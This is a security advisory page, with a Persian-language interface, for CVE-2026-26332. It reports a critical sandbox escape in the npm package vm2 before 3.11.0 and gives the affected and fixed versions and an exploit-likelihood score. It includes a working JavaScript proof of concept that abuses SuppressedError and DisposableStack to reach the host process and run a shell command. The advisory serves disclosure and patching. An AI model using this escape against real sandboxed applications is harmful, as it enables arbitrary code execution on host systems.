همهٔ گزارش‌ها
بحرانی

VM2 Has a Sandbox Escape Issue via SuppressedError

متن اصلی

نسخه‌های متأثر

npmvm2
نسخه‌های متأثر
< 3.11.0
نسخهٔ اصلاح‌شده
3.11.0
نسخه‌های متأثر
نامشخص
نسخهٔ اصلاح‌شده
اعلام نشده

بهره‌برداری

CVE-2026-26332

احتمال بهره‌برداری در ۳۰ روز آینده: 0.71%

FIRST EPSS · ۱۴۰۵/۰۸/۲۷

شرح آسیب‌پذیری

In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.

PoC
const { VM } = require("vm2");

const vm = new VM();

vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  const { execSync } = process.mainModule.require("node:child_process");
  execSync("echo pwned", { stdio: "inherit" });
}
`);

پیوندها

گزارش‌دهندگان

  • nikpivkin